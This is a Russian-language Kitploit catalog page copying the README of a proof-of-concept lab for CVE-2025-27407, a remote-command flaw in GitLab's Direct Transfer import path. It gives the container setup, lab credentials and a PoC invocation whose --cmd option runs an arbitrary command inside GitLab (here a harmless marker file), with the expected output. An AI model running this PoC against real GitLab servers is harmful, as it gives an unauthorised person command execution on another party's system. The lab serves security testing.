Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-27407 — Локальная лаборатория и proof-of-concept эксплойт для CVE-2025-27407, нацеленный на загрузчик схемы GraphQL introspection в GitLab через HTTP-путь Direct Transfer. Включает контейнеризированную среду и автоматизированный скрипт запуска. | Kitploit
Инструменты/GitHubGitHub/logggg2402/cve-2025-27407
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHublogggg2402/cve-2025-27407

CVE-2025-27407

Локальная лаборатория и proof-of-concept эксплойт для CVE-2025-27407, нацеленный на загрузчик схемы GraphQL introspection в GitLab через HTTP-путь Direct Transfer. Включает контейнеризированную среду и автоматизированный скрипт запуска.

Репозиторий
14 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Лаборатория GitLab Podman для CVE-2025-27407

Минимальная локальная лаборатория для доказательства того, что HTTP-путь Direct Transfer в GitLab достигает уязвимого загрузчика схем интроспекции graphql-ruby. Лаборатория запускает один уязвимый контейнер GitLab CE; скрипт PoC запускает поддельный исходный сервер GitLab в рамках своего процесса только на время тестирования.

Запускайте это только против систем, которыми вы владеете или на тестирование которых у вас есть явное разрешение.

Файлы

ФайлНазначение
lab.shЗапускает, ожидает, проверяет и очищает лабораторию GitLab.
poc_host_port_cmd.pyОдноразовый PoC: поддельный исходный сервер + триггер входа/настройки/импорта GitLab.

Требования

  • Хост Linux с podman
  • curl
  • Свободные локальные порты для GitLab и поддельного исходного сервера PoC
  • Достаточно ОЗУ/диска для контейнера GitLab Omnibus

Значения по умолчанию:

ПараметрПо умолчанию
Образ GitLabdocker.io/gitlab/gitlab-ce:16.11.8-ce.0
Контейнер GitLabcve-27407-gitlab
Сеть Podmancve-2025-27407-net
Пользователь root GitLabroot
Пароль root GitLabCve27407Password!
Маркер/tmp/cve_2025_27407_gitlab_marker

Запуск лаборатории

Порт 8080 используется скриптом по умолчанию. Если он уже занят чем-то другим, используйте 18080, как показано здесь.

root@kitploit:~
cd gitlab-lab
chmod +x lab.sh poc_host_port_cmd.py

GITLAB_HTTP_PORT=18080 GITLAB_SSH_PORT=2225 ./lab.sh up

Откройте GitLab по адресу:

root@kitploit:~
http://127.0.0.1:18080

Учётные данные для входа:

root@kitploit:~
root / Cve27407Password!

root — это лишь пользователь лаборатории по умолчанию. Триггеру PoC не требуется учётная запись администратора; любой аутентифицированный пользователь, который может создавать/импортировать в целевое пространство имён, может обратиться к уязвимому пути Direct Transfer. Используйте --username и --password, чтобы протестировать с пользователем без прав администратора.

Запуск PoC

root@kitploit:~
MARKER=/tmp/cve_2025_27407_gitlab_marker
podman exec cve-27407-gitlab rm -f "$MARKER"

./poc_host_port_cmd.py \
  --host 127.0.0.1 \
  --port 18080 \
  --listen-port 8001 \
  --wait-seconds 120 \
  --cmd "touch $MARKER"

MARKER="$MARKER" ./lab.sh verify

Ожидаемые сигналы:

root@kitploit:~
[*] create/import trigger status=200 final_url=http://127.0.0.1:18080/import/bulk_imports
[{"success":true,...}]
[evil-source] POST /api/graphql introspection -> malicious schema; command='touch ...'
[+] GitLab reached /api/graphql introspection over HTTP
[+] vulnerable: marker file exists inside GitLab container

Параметры

ПараметрНазначениеПо умолчанию
--hostЦелевой хост GitLabОбязательный
--portЦелевой HTTP-порт GitLabОбязательный
--cmdКоманда, выполняемая в рантайме GitLabtouch /tmp/cve_2025_27407_gitlab_marker
--listen-portЛокальный порт поддельного исходного сервера8001
--wait-secondsВремя, в течение которого поддельный источник остаётся активным для асинхронных воркеров GitLab90
--usernameИмя пользователя GitLabroot
--passwordПароль GitLabCve27407Password!

Переопределения через переменные окружения

ПеременнаяНазначениеПо умолчанию
GITLAB_HTTP_PORTHTTP-порт GitLab на хосте/в контейнере8080
GITLAB_SSH_PORTSSH-порт GitLab на хосте2224
GITLAB_ROOT_PASSWORDНачальный пароль rootCve27407Password!
GITLAB_IMAGEОбраз GitLab для запускаdocker.io/gitlab/gitlab-ce:16.11.8-ce.0
NETWORKИмя сети Podmancve-2025-27407-net
MARKERФайл, проверяемый внутри контейнера GitLab/tmp/cve_2025_27407_gitlab_marker
TIMEOUT_SECONDSТаймаут ожидания готовности1200

Устранение неполадок

  • Если порт 8080 занят, используйте GITLAB_HTTP_PORT=18080 для ./lab.sh up.
  • Если PoC не может привязаться к порту своего поддельного источника, измените --listen-port на неиспользуемый порт.
  • Если проверка маркера конкурирует с фоновым воркером импорта, увеличьте --wait-seconds или повторно выполните MARKER="$MARKER" ./lab.sh verify.
  • Если GitLab ещё не готов, повторно выполните GITLAB_HTTP_PORT=18080 ./lab.sh wait.
  • Если предыдущая лаборатория зависла, выполните ./lab.sh cleanup и запустите заново.

Очистка

root@kitploit:~
./lab.sh cleanup

Это удаляет контейнер GitLab, любые устаревшие контейнеры поддельного источника из старых версий лаборатории и сеть лаборатории. Скачанные образы Podman при этом не удаляются.

Скачать инструмент